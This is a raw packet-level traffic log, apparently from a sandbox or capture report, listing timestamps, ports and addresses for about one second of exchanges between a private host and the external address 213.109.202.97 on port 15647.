Sep 26, 2024 01:49:31.748703957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.748739004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.748775959 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.755527020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.755568027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.769306898 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.769355059 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.769550085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.780431986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.780495882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.788284063 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.788350105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.788546085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.802237034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.802284002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.802360058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.806183100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.806566954 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.811325073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.811378956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.817960024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.818120956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.834399939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.834466934 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.841089964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.841145992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.847866058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.847969055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.860102892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.860191107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.860212088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.872843027 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.872987032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.880726099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.880860090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.880902052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.895870924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.895922899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.928014040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.928167105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.928177118 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.928244114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.933787107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.933876991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.939943075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.941185951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.941873074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.942002058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.942044973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.942150116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.946808100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.947223902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.947325945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.947376966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.952204943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.965698957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.965817928 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.965878963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.975143909 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.975780010 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:31.988552094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.989429951 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:31.989490986 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.014369965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.015501022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.015697956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.016604900 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.016793966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.016846895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.019275904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.019711018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.021781921 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.022881985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.022936106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.027703047 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.027826071 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.032284021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.032450914 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.032507896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.037343025 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.039525986 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.052992105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.055996895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.068088055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.068326950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.068480968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.081893921 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.083692074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.097157001 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.097845078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.097939968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.115259886 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.115613937 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.116043091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.119533062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.119674921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.124449015 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.129563093 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.138901949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.139041901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.139122963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.148988008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.149660110 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.160953045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.161111116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.161278963 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.176059008 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.177563906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.197653055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.222006083 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.245084047 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.270319939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.285861969 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.302397013 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.325617075 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.341857910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.358036995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.375374079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.388570070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.388664007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.388880014 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.388962984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.389278889 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.389520884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.389681101 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.392810106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.392822981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.392874956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.395143032 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.395167112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.395272970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.395746946 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.395761967 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.395797968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.396712065 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.397528887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.397696972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.397728920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.397741079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.397778988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.400425911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.401540041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.402287960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.402301073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.402343035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.403023958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403493881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403506994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403517962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403529882 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403541088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403544903 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.403563976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403573990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403582096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403587103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.403605938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.403615952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.404414892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.404423952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.404433012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.404442072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.404473066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.404489994 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.406426907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.406438112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.406497002 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.407341003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.407350063 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.411413908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.413537979 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.415435076 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.415488958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.415498972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.415503979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.415527105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.415546894 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.420284033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.421575069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.428502083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.429544926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.437170029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.437263012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.437370062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.460438013 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.465333939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.465553045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.470381975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.471015930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.471086979 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.487318039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.487504959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.487575054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.493976116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.498997927 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.501558065 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.509018898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.513885021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.514018059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.514067888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.526139021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.526242971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.526319027 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.541421890 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.541491032 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.541702032 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.553016901 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.553519964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.563476086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.563544989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.563632965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.574584961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.575318098 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.585091114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.585146904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.585150003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.585410118 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.590214968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.591018915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.601537943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.604377985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.605170965 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.605228901 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.605353117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.607300043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.609498024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.612549067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.612602949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.614655018 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.614799976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.617372990 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.617516041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.618633986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.618684053 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.622407913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.625612974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.628758907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.629547119 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.634484053 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.637223959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.637346029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.637461901 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.647618055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.650016069 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.650099993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.650190115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.655076981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.655893087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.656002045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.668231964 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.668401957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.668603897 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.672368050 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.672449112 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.677227020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.679874897 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.690279961 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.690385103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.690593958 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.692483902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.695990086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.704360962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.704472065 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.705024004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.705127954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.705225945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.705225945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.718238115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.718332052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.737552881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.737982035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.754575968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.754743099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.764811039 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.766010046 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.777781010 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.778480053 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.797020912 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.797133923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.797172070 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.807832003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.807940006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.807984114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.830456972 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.830517054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.838716030 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.838773966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.838866949 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.851974010 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.852065086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.852286100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.858494043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.858547926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.869534016 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.869605064 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.869611025 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.885863066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.885915041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.885924101 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.895025969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.895087957 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.915312052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.917107105 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.917196989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.917243004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.917256117 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.917284966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.920402050 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.920494080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.923180103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.923258066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.928581953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.928658962 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.939481020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.939662933 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.939709902 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.951076031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.951289892 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.958494902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.958628893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.958663940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.958813906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.963807106 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.963989973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:32.972003937 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:32.972049952 CEST	15647	58394	213.109.202.97	192.168.2.7
